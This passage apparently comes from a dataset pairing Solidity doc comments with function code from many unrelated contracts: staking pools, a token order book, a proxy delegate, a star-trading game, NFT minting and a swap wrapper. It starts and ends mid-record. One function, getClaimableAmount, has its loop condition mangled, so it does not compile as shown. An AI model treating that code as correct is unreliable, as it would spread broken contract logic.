* Selectable low gas protects against future EVM price changes.\r\n * Completes as much as possible (gas) and return unprocessed Hodl.\r\n **************************************************************************************/", "function_code": "function sellHodlC(uint quantityHodl, uint lowGas) external accrueByTime distribute ifRunning returns(bytes32 orderId) {\r\n emit SellHodlC(msg.sender, quantityHodl, lowGas);\r\n uint orderUsd = convertHodlToUsd(quantityHodl); \r\n uint orderLimit = orderLimit();\r\n require(orderUsd >= minOrderUsd, \"Sell order is less than minimum USD value\");\r\n require(orderUsd <= orderLimit || orderLimit == 0, \"Order exceeds USD limit\");\r\n quantityHodl = _fillBuyOrders(quantityHodl, lowGas);\r\n orderId = _openSellOrder(quantityHodl);\r\n _pruneHodler(msg.sender);\r\n }", "version": "0.6.6"} {"comment": "/**************************************************************************************\r\n * Buy HodlC from sell orders, or if no sell orders, from reserve. Lastly, open a \r\n * buy order is the reserve is sold out.\r\n * Selectable low gas protects against future EVM price changes.\r\n * Completes as much as possible (gas) and returns unspent Eth.\r\n **************************************************************************************/", "function_code": "function buyHodlC(uint amountEth, uint lowGas) external accrueByTime distribute ifRunning returns(bytes32 orderId) {\r\n emit BuyHodlC(msg.sender, amountEth, lowGas);\r\n uint orderLimit = orderLimit(); \r\n uint orderUsd = convertEthToUsd(amountEth);\r\n require(orderUsd >= minOrderUsd, \"Buy order is less than minimum USD value\");\r\n require(orderUsd <= orderLimit || orderLimit == 0, \"Order exceeds USD limit\");\r\n amountEth = _fillSellOrders(amountEth, lowGas);\r\n amountEth = _buyFromReserve(amountEth);\r\n orderId = _openBuyOrder(amountEth);\r\n _makeHodler(msg.sender);\r\n }", "version": "0.6.6"} {"comment": "/**************************************************************************************\r\n * Cancel orders\r\n **************************************************************************************/", "function_code": "function cancelSell(bytes32 orderId) external accrueByTime distribute ifRunning {\r\n SellOrder storage o = sellOrder[orderId];\r\n User storage u = userStruct[o.seller];\r\n require(o.seller == msg.sender, \"Sender is not the seller.\");\r\n u.balanceHodl = u.balanceHodl.add(o.volumeHodl);\r\n u.sellOrderIdFifo.remove(orderId);\r\n sellOrderIdFifo.remove(orderId);\r\n emit SellOrderCancelled(msg.sender, orderId);\r\n }", "version": "0.6.6"} {"comment": "// Moves forward in 1-day steps to prevent overflow", "function_code": "function rates() public view returns(uint hodlUsd, uint dailyAccrualRate) {\r\n hodlUsd = HODL_USD;\r\n dailyAccrualRate = DAILY_ACCRUAL_RATE;\r\n uint startTime = BIRTHDAY.add(SLEEP_TIME);\r\n if(now > startTime) {\r\n uint daysFromStart = (now.sub(startTime)) / 1 days;\r\n uint daysUnprocessed = daysFromStart.sub(accrualDaysProcessed);\r\n if(daysUnprocessed > 0) {\r\n hodlUsd = HODL_USD.mul(DAILY_ACCRUAL_RATE).div(USD_PRECISION);\r\n dailyAccrualRate = DAILY_ACCRUAL_RATE.mul(DAILY_ACCRUAL_RATE_DECAY).div(USD_PRECISION);\r\n }\r\n }\r\n }", "version": "0.6.6"} {"comment": "/**************************************************************************************\r\n * Initialization functions that support migration cannot be used after trading starts\r\n **************************************************************************************/", "function_code": "function initUser(address userAddr, uint hodl) external onlyOwner payable {\r\n User storage u = userStruct[userAddr];\r\n User storage r = userStruct[address(this)];\r\n u.balanceEth = u.balanceEth.add(msg.value);\r\n u.balanceHodl = u.balanceHodl.add(hodl);\r\n r.balanceHodl = r.balanceHodl.sub(hodl);\r\n _makeHodler(userAddr);\r\n emit UserInitialized(msg.sender, userAddr, hodl, msg.value);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @dev Delegates execution to an implementation contract.\r\n * This is a low level function that doesn't return to its internal call site.\r\n * It will return to the external caller whatever the implementation returns.\r\n * @param implementation Address to delegate.\r\n */", "function_code": "function _delegate(address implementation) internal {\r\n assembly {\r\n // Copy msg.data. We take full control of memory in this inline assembly\r\n // block because it will not return to Solidity code. We overwrite the\r\n // Solidity scratch pad at memory position 0.\r\n calldatacopy(0, 0, calldatasize())\r\n\r\n // Call the implementation.\r\n // out and outsize are 0 because we don't know the size yet.\r\n let result := delegatecall(\r\n gas(),\r\n implementation,\r\n 0,\r\n calldatasize(),\r\n 0,\r\n 0\r\n )\r\n\r\n // Copy the returned data.\r\n returndatacopy(0, 0, returndatasize())\r\n\r\n switch result\r\n // delegatecall returns 0 on error.\r\n case 0 {\r\n revert(0, returndatasize())\r\n }\r\n default {\r\n return(0, returndatasize())\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "// Create a new staking event", "function_code": "function createStakingEvent(uint256[] memory _cardIdList, uint256 _cardAmountAny, uint256[] memory _cardAmountList, uint256 _cardRewardId,\r\n uint256 _blockStakeLength, uint256 _blockEventClose, uint256[] memory _toBurnIdList, uint256[] memory _toBurnAmountList) public onlyOwner {\r\n\r\n require(_cardIdList.length > 0, \"Accepted card list is empty\");\r\n require(_cardAmountAny > 0 || _cardAmountList.length > 0, \"Card amount required not specified\");\r\n require(_blockEventClose > block.number, \"blockEventClose < current block\");\r\n require(_toBurnIdList.length == _toBurnAmountList.length, \"ToBurn arrays have different length\");\r\n require(_cardAmountAny == 0 || _toBurnIdList.length == 0, \"ToBurn not supported with anyEvent\");\r\n\r\n stakingEvents.push(StakingEvent({\r\n cardIdList: _cardIdList,\r\n cardAmountAny: _cardAmountAny,\r\n cardAmountList: _cardAmountList,\r\n cardRewardId: _cardRewardId,\r\n blockStakeLength: _blockStakeLength,\r\n blockEventClose: _blockEventClose,\r\n toBurnIdList: _toBurnIdList,\r\n toBurnAmountList: _toBurnAmountList\r\n }));\r\n\r\n emit StakingEventCreated(stakingEvents.length - 1);\r\n }", "version": "0.6.6"} {"comment": "// Stake cards into a staking event", "function_code": "function stakeAny(uint256 _eventId, uint256[] memory _cardIdList, uint256[] memory _cardAmountList) public {\r\n require(_cardIdList.length == _cardAmountList.length, \"Arrays have different length\");\r\n\r\n StakingEvent storage _event = stakingEvents[_eventId];\r\n UserInfo storage _userInfo = userInfo[msg.sender][_eventId];\r\n\r\n require(block.number <= _event.blockEventClose, \"Event is closed\");\r\n require(_userInfo.isCompleted == false, \"Address already completed event\");\r\n require(_userInfo.blockEnd == 0, \"Address already staked for this event\");\r\n require(_event.cardAmountAny > 0, \"Not a stakeAny event\");\r\n\r\n for (uint256 i = 0; i < _cardIdList.length; i++) {\r\n require(_isInArray(_cardIdList[i], _event.cardIdList), \"Card not accepted\");\r\n }\r\n\r\n uint256 total = 0;\r\n for (uint256 i = 0; i < _cardAmountList.length; i++) {\r\n total = total.add(_cardAmountList[i]);\r\n }\r\n\r\n require(total == _event.cardAmountAny, \"Wrong card total\");\r\n\r\n pepemonFactory.safeBatchTransferFrom(msg.sender, address(this), _cardIdList, _cardAmountList, \"\");\r\n\r\n // Save list cards staked in storage\r\n for (uint256 i = 0; i < _cardIdList.length; i++) {\r\n uint256 cardId = _cardIdList[i];\r\n uint256 amount = _cardAmountList[i];\r\n\r\n cardsStaked[msg.sender][_eventId][cardId] = amount;\r\n }\r\n\r\n _userInfo.blockEnd = block.number.add(_event.blockStakeLength);\r\n\r\n emit StakingEventEntered(msg.sender, _eventId);\r\n }", "version": "0.6.6"} {"comment": "// Add a new token to the pool. Can only be called by the owner.", "function_code": "function add(\n uint256 _allocPoint,\n IERC20 _token,\n bool _withUpdate\n ) external onlyOwner {\n require(!isTokenAdded(_token), \"add: token already added\");\n\n if (_withUpdate) {\n massUpdatePools();\n }\n uint256 lastRewardBlock =\n block.number > startBlock ? block.number : startBlock;\n totalAllocPoint = totalAllocPoint.add(_allocPoint);\n\n uint256 pid = poolInfo.length;\n poolInfo.push(\n PoolInfo({\n token: _token,\n allocPoint: _allocPoint,\n lastRewardBlock: lastRewardBlock,\n accRewardPerShare: 0\n })\n );\n poolPidByAddress[address(_token)] = pid;\n\n emit TokenAdded(address(_token), pid, _allocPoint);\n }", "version": "0.7.6"} {"comment": "// claim rewards", "function_code": "function claim() external{\n uint256 i;\n for (i = 0; i < poolInfo.length; ++i) {\n updatePool(i);\n accrueReward(i);\n UserPoolInfo storage userPool = userPoolInfo[i][msg.sender];\n userPool.accruedReward = calcReward(poolInfo[i], userPool);\n }\n uint256 unlocked = calcUnlocked(rewards[msg.sender]).sub(claimedRewards[msg.sender]);\n if (unlocked > 0) {\n _safeRewardTransfer(msg.sender, unlocked);\n }\n claimedRewards[msg.sender] = claimedRewards[msg.sender].add(unlocked);\n emit Claimed(msg.sender, unlocked);\n }", "version": "0.7.6"} {"comment": "// Deposit tokens to liquidity mining for reward token allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) external {\n require(block.number <= endBlock, \"LP mining has ended.\");\n updatePool(_pid);\n accrueReward(_pid);\n\n UserPoolInfo storage userPool = userPoolInfo[_pid][msg.sender];\n\n if (_amount > 0) {\n poolInfo[_pid].token.safeTransferFrom(\n address(msg.sender),\n address(this),\n _amount\n );\n\n userPool.amount = userPool.amount.add(_amount);\n }\n\n userPool.accruedReward = calcReward(poolInfo[_pid], userPoolInfo[_pid][msg.sender]);\n emit Deposited(msg.sender, _pid, _amount);\n }", "version": "0.7.6"} {"comment": "// Set unlocks infos - block number and quota.", "function_code": "function setUnlocks(uint256[] calldata _blocks, uint256[] calldata _quotas) external onlyOwner {\n require(_blocks.length == _quotas.length, \"Should be same length\");\n for (uint256 i = 0; i < _blocks.length; ++i) {\n unlocks.push(UnlockInfo(_blocks[i], _quotas[i]));\n unlocksTotalQuotation = unlocksTotalQuotation.add(_quotas[i]);\n }\n }", "version": "0.7.6"} {"comment": "// Withdraw tokens from rewardToken liquidity mining.", "function_code": "function withdraw(uint256 _pid, uint256 _amount) external {\n require(userPoolInfo[_pid][msg.sender].amount >= _amount, \"withdraw: not enough amount\");\n updatePool(_pid);\n accrueReward(_pid);\n UserPoolInfo storage userPool = userPoolInfo[_pid][msg.sender];\n if (_amount > 0) {\n userPool.amount = userPool.amount.sub(_amount);\n poolInfo[_pid].token.safeTransfer(address(msg.sender), _amount);\n }\n\n userPool.accruedReward = calcReward(poolInfo[_pid], userPoolInfo[_pid][msg.sender]);\n emit Withdrawn(msg.sender, _pid, _amount);\n }", "version": "0.7.6"} {"comment": "// Withdraws amount specified (ETH) from balance of contract to owner account (owner-only)", "function_code": "function withdrawPartial(uint256 _amount)\r\n public\r\n onlyOwner\r\n {\r\n require(twoStage);\r\n // Check that amount is not more than total contract balance\r\n require(\r\n _amount > 0 && _amount <= address(this).balance,\r\n \"Withdraw amount must be positive and not exceed total contract balance\"\r\n );\r\n payable(msg.sender).transfer(_amount);\r\n twoStage = false;\r\n }", "version": "0.8.7"} {"comment": "// Migrate token to another lp contract. Can be called by anyone.", "function_code": "function migrate(uint256 _pid) external {\n require(address(migrator) != address(0), \"migrate: no migrator\");\n PoolInfo storage pool = poolInfo[_pid];\n IERC20 token = pool.token;\n uint256 bal = token.balanceOf(address(this));\n token.safeApprove(address(migrator), bal);\n IERC20 newToken = migrator.migrate(token);\n require(bal == newToken.balanceOf(address(this)), \"migrate: bad\");\n pool.token = newToken;\n\n delete poolPidByAddress[address(token)];\n poolPidByAddress[address(newToken)] = _pid;\n\n emit TokenMigrated(address(token), address(newToken), _pid);\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the\r\n * total shares and their previous withdrawals.\r\n */", "function_code": "function release(address payable account) public virtual {\r\n require(_shares[account] > 0, \"PaymentSplitter: account has no shares\");\r\n\r\n uint256 totalReceived = address(this).balance + totalReleased();\r\n uint256 payment = _pendingPayment(account, totalReceived, released(account));\r\n\r\n require(payment != 0, \"PaymentSplitter: account is not due payment\");\r\n\r\n _released[account] += payment;\r\n _totalReleased += payment;\r\n\r\n AddressUpgradeable.sendValue(account, payment);\r\n emit PaymentReleased(account, payment);\r\n }", "version": "0.8.4"} {"comment": "// function to get claimable amount for any user", "function_code": "function getClaimableAmount(address _user) external view returns(uint256) {\n LockInfo[] memory lockInfoArrayForUser = lockInfoByUser[_user];\n uint256 totalTransferableAmount = 0;\n uint i;\n for (i=latestCounterByUser[_user]; i= (lockInfoArrayForUser[i]._timestamp.add(lockingPeriodHere))){\n totalTransferableAmount = totalTransferableAmount.add(lockInfoArrayForUser[i]._amount);\n } else {\n break;\n }\n }\n return totalTransferableAmount;\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Add a new payee to the contract.\r\n * @param account The address of the payee to add.\r\n * @param shares_ The number of shares owned by the payee.\r\n */", "function_code": "function _addPayee(address account, uint256 shares_) private {\r\n require(account != address(0), \"PaymentSplitter: account is the zero address\");\r\n require(shares_ > 0, \"PaymentSplitter: shares are 0\");\r\n require(_shares[account] == 0, \"PaymentSplitter: account already has shares\");\r\n\r\n _payees.push(account);\r\n _shares[account] = shares_;\r\n _totalShares = _totalShares + shares_;\r\n emit PayeeAdded(account, shares_);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * Add new star\r\n */", "function_code": "function addStar(address owner, uint8 gid, uint8 zIndex, uint16 box, uint8 inbox, uint8 stype, uint8 color, uint256 price) internal returns(uint256) {\r\n Star memory _star = Star({\r\n owner: owner,\r\n gid: gid, zIndex: zIndex, box: box, inbox: inbox,\r\n stype: stype, color: color,\r\n price: price, sell: 0, deleted: false, name: \"\", message: \"\"\r\n });\r\n uint256 starId = stars.push(_star) - 1;\r\n placeStar(gid, zIndex, box, starId);\r\n return starId;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * Get star by id\r\n */", "function_code": "function getStar(uint256 starId) external view returns(address owner, uint8 gid, uint8 zIndex, uint16 box, uint8 inbox,\r\n uint8 stype, uint8 color,\r\n uint256 price, uint256 sell, bool deleted,\r\n string name, string message) {\r\n Star storage _star = stars[starId];\r\n owner = _star.owner;\r\n gid = _star.gid;\r\n zIndex = _star.zIndex;\r\n box = _star.box;\r\n inbox = _star.inbox;\r\n stype = _star.stype;\r\n color = _star.color;\r\n price = _star.price;\r\n sell = _star.sell;\r\n deleted = _star.deleted;\r\n name = _star.name;\r\n message = _star.message;\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * Set validation data\r\n */", "function_code": "function setValidationData(uint16 _zMin, uint16 _zMax, uint8 _lName, uint8 _lMessage, uint8 _maxCT, uint8 _maxIR, uint16 _boxSize) external onlyOwner {\r\n zMin = _zMin;\r\n zMax = _zMax;\r\n lName = _lName;\r\n lMessage = _lMessage;\r\n maxCT = _maxCT;\r\n maxIRandom = _maxIR;\r\n boxSize = _boxSize;\r\n inboxXY = uint8((boxSize * boxSize) / 4);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * Get random star position\r\n */", "function_code": "function getRandomPosition(uint8 gid, uint8 zIndex) internal returns(uint16 box, uint8 inbox) {\r\n uint16 boxCount = getBoxCountZIndex(zIndex);\r\n uint16 randBox = 0;\r\n if (boxCount == 0) revert();\r\n\r\n uint8 ii = maxIRandom;\r\n bool valid = false;\r\n while (!valid && ii > 0) {\r\n randBox = getRandom16(0, boxCount);\r\n valid = isValidBox(gid, zIndex, randBox);\r\n ii--;\r\n }\r\n\r\n if (!valid) revert();\r\n return(randBox, getRandom8(0, inboxXY));\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * Create star\r\n */", "function_code": "function createStar(uint8 gid, uint16 z, string name, string message) external payable {\r\n // Check basic requires\r\n require(isValidGid(gid));\r\n require(isValidZ(z));\r\n require(isValidNameLength(name));\r\n require(isValidMessageLength(message));\r\n\r\n // Get zIndex\r\n uint8 zIndex = getZIndex(z);\r\n uint256 starPrice = getCreatePrice(z, getZCount(gid, zIndex));\r\n require(isValidMsgValue(starPrice));\r\n\r\n // Create star (need to split method into two because solidity got error - to deep stack)\r\n uint256 starId = newStar(gid, zIndex, starPrice);\r\n setStarNameMessage(starId, name, message);\r\n\r\n // Event and returns data\r\n emit StarCreated(starId);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * Update start method\r\n */", "function_code": "function updateStar(uint256 starId, string name, string message) external payable {\r\n // Exists and owned star\r\n require(starExists(starId));\r\n require(isStarOwner(starId, msg.sender));\r\n\r\n // Check basic requires\r\n require(isValidNameLength(name));\r\n require(isValidMessageLength(message)); \r\n\r\n // Get star update price\r\n uint256 commission = getCommission(stars[starId].price);\r\n require(isValidMsgValue(commission));\r\n\r\n // Update star\r\n setStarNameMessage(starId, name, message);\r\n emit StarUpdated(starId, 1);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * Delete star\r\n */", "function_code": "function deleteStar(uint256 starId) external payable {\r\n // Exists and owned star\r\n require(starExists(starId));\r\n require(isStarOwner(starId, msg.sender));\r\n\r\n // Get star update price\r\n uint256 commission = getCommission(stars[starId].price);\r\n require(isValidMsgValue(commission));\r\n\r\n // Update star data\r\n setStarDeleted(starId);\r\n emit StarDeleted(starId, msg.sender);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * Gift star\r\n */", "function_code": "function giftStar(uint256 starId, address recipient) external payable {\r\n // Check star exists owned\r\n require(starExists(starId));\r\n require(recipient != address(0));\r\n require(isStarOwner(starId, msg.sender));\r\n require(!isStarOwner(starId, recipient));\r\n\r\n // Get gift commission\r\n uint256 commission = getCommission(stars[starId].price);\r\n require(isValidMsgValue(commission));\r\n\r\n // Update star\r\n setStarNewOwner(starId, recipient);\r\n setStarSellPrice(starId, 0);\r\n emit StarGifted(starId, msg.sender, recipient);\r\n emit StarUpdated(starId, 3);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * Buy star\r\n */", "function_code": "function buyStar(uint256 starId, string name, string message) external payable {\r\n // Exists and NOT owner\r\n require(starExists(starId));\r\n require(!isStarOwner(starId, msg.sender));\r\n require(stars[starId].sell > 0);\r\n\r\n // Get sell commission and check value\r\n uint256 commission = getCommission(stars[starId].price);\r\n uint256 starPrice = stars[starId].sell;\r\n uint256 totalPrice = starPrice + commission;\r\n require(isValidMsgValue(totalPrice));\r\n\r\n // Transfer money to seller\r\n address seller = stars[starId].owner;\r\n seller.transfer(starPrice);\r\n\r\n // Update star data\r\n setStarNewOwner(starId, msg.sender);\r\n setStarSellPrice(starId, 0);\r\n setStarNameMessage(starId, name, message);\r\n emit StarSold(starId, seller, msg.sender, starPrice);\r\n emit StarUpdated(starId, 4);\r\n }", "version": "0.4.21"} {"comment": "// Forward ERC20 methods to upgraded contract after the upgrade timestamp has been reached", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {\r\n if (now > upgradeTimestamp) {\r\n return UpgradedStandardToken(upgradeAddress).transferFromByLegacy(msg.sender, _from, _to, _value);\r\n } else {\r\n return super.transferFrom(_from, _to, _value);\r\n }\r\n }", "version": "0.4.24"} {"comment": "// Deposit LP tokens to TopDog for BONE allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public nonReentrant {\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n updatePool(_pid);\n if (user.amount > 0) {\n uint256 pending = user.amount.mul(pool.accBonePerShare).div(1e12).sub(user.rewardDebt);\n if(pending > 0) {\n // safeBoneTransfer(msg.sender, pending);\n uint256 sendAmount = pending.mul(rewardMintPercent).div(100);\n safeBoneTransfer(msg.sender, sendAmount);\n if(rewardMintPercent != 100) {\n safeBoneTransfer(address(boneLocker), pending.sub(sendAmount)); // Rest amount sent to Bone token contract\n boneLocker.lock(msg.sender, pending.sub(sendAmount), false); //function called for token time-lock\n }\n }\n }\n if(_amount > 0) {\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\n user.amount = user.amount.add(_amount);\n }\n user.rewardDebt = user.amount.mul(pool.accBonePerShare).div(1e12);\n emit Deposit(msg.sender, _pid, _amount);\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Initiates a new rebase operation, provided the minimum time period has elapsed.\r\n *\r\n * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag\r\n * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate\r\n * and targetRate is 1\r\n */", "function_code": "function rebase() external onlyOrchestrator {\r\n require(inRebaseWindow());\r\n\r\n // This comparison also ensures there is no reentrancy.\r\n require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now);\r\n\r\n // Snap the rebase time to the start of this window.\r\n lastRebaseTimestampSec = now.sub(\r\n now.mod(minRebaseTimeIntervalSec)).add(rebaseWindowOffsetSec);\r\n\r\n epoch = epoch.add(1);\r\n\r\n uint256 targetRate = TARGET_RATE;\r\n\r\n uint256 exchangeRate;\r\n bool rateValid;\r\n (exchangeRate, rateValid) = marketOracle.getData();\r\n require(rateValid);\r\n\r\n if (exchangeRate > MAX_RATE) {\r\n exchangeRate = MAX_RATE;\r\n }\r\n\r\n int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate);\r\n\r\n // Apply the Dampening factor.\r\n supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe());\r\n\r\n if (supplyDelta > 0 && uFrags.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {\r\n supplyDelta = (MAX_SUPPLY.sub(uFrags.totalSupply())).toInt256Safe();\r\n }\r\n\r\n uint256 supplyAfterRebase = uFrags.rebase(epoch, supplyDelta);\r\n assert(supplyAfterRebase <= MAX_SUPPLY);\r\n emit LogRebase(epoch, exchangeRate, supplyDelta, now);\r\n }", "version": "0.4.24"} {"comment": "// Method which is used to mint during the standard minting window", "function_code": "function mint(uint256 _amountMinted, address _recipient)\r\n public\r\n payable\r\n nonReentrant\r\n {\r\n if (owner() != _msgSender()) {\r\n require(\r\n saleTime != 0 && saleTime <= block.timestamp,\r\n \"ERC721: Sale is paused...\"\r\n );\r\n }\r\n require(totalSupply() < supplyCap, \"ERC721: Sale is finished.\");\r\n require(\r\n _amountMinted > 0 && _amountMinted <= perTxLimit,\r\n \"ERC721: You may only mint up to 20 Empty Buns.\"\r\n );\r\n require(\r\n totalSupply() + _amountMinted < supplyCap,\r\n \"ERC721: Transaction would exceed supply cap.\"\r\n );\r\n require(\r\n msg.value >= getTokenPrice(true) * _amountMinted,\r\n \"ERC721: Incorrect value sent.\"\r\n );\r\n\r\n // Prevent nefarious contracts from bypassing limits\r\n require(\r\n tx.origin == _msgSender(),\r\n \"ERC721: The caller is another contract.\"\r\n );\r\n\r\n for (uint256 i = 0; i < _amountMinted; i++) {\r\n _safeMint(_recipient, tokenCounter);\r\n tokenCounter++;\r\n }\r\n }", "version": "0.8.7"} {"comment": "// Public method which retrieves holders inventory of tokens", "function_code": "function getHoldersTokens(address _holder)\r\n public\r\n view\r\n returns (uint256[] memory)\r\n {\r\n uint256 tokenCount = balanceOf(_holder);\r\n\r\n uint256[] memory tokensId = new uint256[](tokenCount);\r\n\r\n for (uint256 i; i < tokenCount; i++) {\r\n tokensId[i] = tokenOfOwnerByIndex(_holder, i);\r\n }\r\n\r\n return tokensId;\r\n }", "version": "0.8.7"} {"comment": "// BID\n// Lets player pick number\n// Locks his potential winnings", "function_code": "function Bid(uint256 _number) payable public {\r\n require(now < timerEnd, \"game is over!\");\r\n require(msg.value > bid, \"not enough to beat current leader\");\r\n require(_number >= numberMin, \"number too low\");\r\n require(_number <= numberMax, \"number too high\");\r\n\r\n bid = msg.value;\r\n pot = pot.add(msg.value);\r\n shareToWinner = ComputeShare();\r\n uint256 _share = 100;\r\n shareToThrone = _share.sub(shareToWinner);\r\n leader = msg.sender;\r\n number = _number;\r\n \r\n emit GameBid(msg.sender, msg.value, number, pot, shareToWinner);\r\n }", "version": "0.5.7"} {"comment": "// END \n// Can be called manually after the game ends\n// Sends pot to winner and snailthrone", "function_code": "function End() public {\r\n require(now > timerEnd, \"game is still running!\");\r\n \r\n uint256 _throneReward = pot.mul(shareToThrone).div(100);\r\n pot = pot.sub(_throneReward);\r\n (bool success, bytes memory data) = SNAILTHRONE.call.value(_throneReward)(\"\");\r\n require(success);\r\n \r\n uint256 _winnerReward = pot;\r\n pot = 0;\r\n leader.transfer(_winnerReward);\r\n \r\n emit GameEnd(leader, _winnerReward, _throneReward, number);\r\n }", "version": "0.5.7"} {"comment": "// ref: https://blogs.sas.com/content/iml/2016/05/16/babylonian-square-roots.html", "function_code": "function sqrt(uint256 x) internal pure returns (uint256 y) {\r\n uint256 z = (x + 1) / 2;\r\n y = x;\r\n while (z < y) {\r\n y = z;\r\n z = (x / z + z) / 2;\r\n }\r\n }", "version": "0.8.7"} {"comment": "/**\n * @notice Hash an order into bytes32\n * @dev EIP-191 header and domain separator included\n * @param order Order The order to be hashed\n * @param domainSeparator bytes32\n * @return bytes32 A keccak256 abi.encodePacked value\n */", "function_code": "function hashOrder(\n Order calldata order,\n bytes32 domainSeparator\n ) external pure returns (bytes32) {\n return keccak256(abi.encodePacked(\n EIP191_HEADER,\n domainSeparator,\n keccak256(abi.encode(\n ORDER_TYPEHASH,\n order.nonce,\n order.expiry,\n keccak256(abi.encode(\n PARTY_TYPEHASH,\n order.signer.kind,\n order.signer.wallet,\n order.signer.token,\n order.signer.amount,\n order.signer.id\n )),\n keccak256(abi.encode(\n PARTY_TYPEHASH,\n order.sender.kind,\n order.sender.wallet,\n order.sender.token,\n order.sender.amount,\n order.sender.id\n )),\n keccak256(abi.encode(\n PARTY_TYPEHASH,\n order.affiliate.kind,\n order.affiliate.wallet,\n order.affiliate.token,\n order.affiliate.amount,\n order.affiliate.id\n ))\n ))\n ));\n }", "version": "0.5.12"} {"comment": "/**\n * @notice Send an Order to be forwarded to Swap\n * @dev Sender must authorize this contract on the swapContract\n * @dev Sender must approve this contract on the wethContract\n * @param order Types.Order The Order\n */", "function_code": "function swap(\n Types.Order calldata order\n ) external payable {\n // Ensure msg.sender is sender wallet.\n require(order.sender.wallet == msg.sender,\n \"MSG_SENDER_MUST_BE_ORDER_SENDER\");\n // Ensure that the signature is present.\n // The signature will be explicitly checked in Swap.\n require(order.signature.v != 0,\n \"SIGNATURE_MUST_BE_SENT\");\n // Wraps ETH to WETH when the sender provides ETH and the order is WETH\n _wrapEther(order.sender);\n // Perform the swap.\n swapContract.swap(order);\n // Unwraps WETH to ETH when the sender receives WETH\n _unwrapEther(order.sender.wallet, order.signer.token, order.signer.amount);\n }", "version": "0.5.12"} {"comment": "// Withdraw without caring about rewards. EMERGENCY ONLY.", "function_code": "function emergencyWithdraw(uint amount) public shouldStarted {\r\n require(amount <= _stakerTokenBalance[msg.sender] && _stakerTokenBalance[msg.sender] > 0, \"Bad withdraw.\");\r\n \r\n if(_stakerStakingPlan[msg.sender] == 4 || _stakerStakingPlan[msg.sender] == 5){\r\n require(block.timestamp >= _stakerStakingTime[msg.sender] + 30 days, \"Early withdrawal available after 30 days\");\r\n }\r\n \r\n updateRewards(msg.sender);\r\n \r\n _stakerTokenBalance[msg.sender] = _stakerTokenBalance[msg.sender].sub(amount);\r\n _stakerTokenRewardsClaimed[msg.sender] = 0;\r\n _stakerStakingPlan[msg.sender] = 0;\r\n\r\n\r\n if(_stakerWithdrawFeeRate[msg.sender] > 0){\r\n uint256 _burnedAmount = amount.mul(_stakerWithdrawFeeRate[msg.sender]).div(100);\r\n amount = amount.sub(_burnedAmount);\r\n token.burn(_burnedAmount);\r\n }\r\n \r\n token.safeTransfer(msg.sender, amount);\r\n \r\n emit Withdraw(msg.sender, amount);\r\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Send an Order to be forwarded to a Delegate\n * @dev Sender must authorize the Delegate contract on the swapContract\n * @dev Sender must approve this contract on the wethContract\n * @dev Delegate's tradeWallet must be order.sender - checked in Delegate\n * @param order Types.Order The Order\n * @param delegate IDelegate The Delegate to provide the order to\n */", "function_code": "function provideDelegateOrder(\n Types.Order calldata order,\n IDelegate delegate\n ) external payable {\n // Ensure that the signature is present.\n // The signature will be explicitly checked in Swap.\n require(order.signature.v != 0,\n \"SIGNATURE_MUST_BE_SENT\");\n // Wraps ETH to WETH when the signer provides ETH and the order is WETH\n _wrapEther(order.signer);\n // Provide the order to the Delegate.\n delegate.provideOrder(order);\n // Unwraps WETH to ETH when the signer receives WETH\n _unwrapEther(order.signer.wallet, order.sender.token, order.sender.amount);\n }", "version": "0.5.12"} {"comment": "// Return accumulate rewards over the given _fromTime to _toTime.", "function_code": "function getGeneratedReward(uint256 _fromTime, uint256 _toTime) public view returns (uint256) {\r\n for (uint8 epochId = 2; epochId >= 1; --epochId) {\r\n if (_toTime >= epochEndTimes[epochId - 1]) {\r\n if (_fromTime >= epochEndTimes[epochId - 1]) {\r\n return _toTime.sub(_fromTime).mul(epochApePerSecond[epochId]);\r\n }\r\n\r\n uint256 _generatedReward = _toTime.sub(epochEndTimes[epochId - 1]).mul(epochApePerSecond[epochId]);\r\n if (epochId == 1) {\r\n return _generatedReward.add(epochEndTimes[0].sub(_fromTime).mul(epochApePerSecond[0]));\r\n }\r\n for (epochId = epochId - 1; epochId >= 1; --epochId) {\r\n if (_fromTime >= epochEndTimes[epochId - 1]) {\r\n return _generatedReward.add(epochEndTimes[epochId].sub(_fromTime).mul(epochApePerSecond[epochId]));\r\n }\r\n _generatedReward = _generatedReward.add(epochEndTimes[epochId].sub(epochEndTimes[epochId - 1]).mul(epochApePerSecond[epochId]));\r\n }\r\n return _generatedReward.add(epochEndTimes[0].sub(_fromTime).mul(epochApePerSecond[0]));\r\n }\r\n }\r\n return _toTime.sub(_fromTime).mul(epochApePerSecond[0]);\r\n }", "version": "0.8.1"} {"comment": "/**\n * @notice Wraps ETH to WETH when a trade requires it\n * @param party Types.Party The side of the trade that may need wrapping\n */", "function_code": "function _wrapEther(Types.Party memory party) internal {\n // Check whether ether needs wrapping\n if (party.token == address(wethContract)) {\n // Ensure message value is param.\n require(party.amount == msg.value,\n \"VALUE_MUST_BE_SENT\");\n // Wrap (deposit) the ether.\n wethContract.deposit.value(msg.value)();\n // Transfer the WETH from the wrapper to party.\n // Return value not checked - WETH 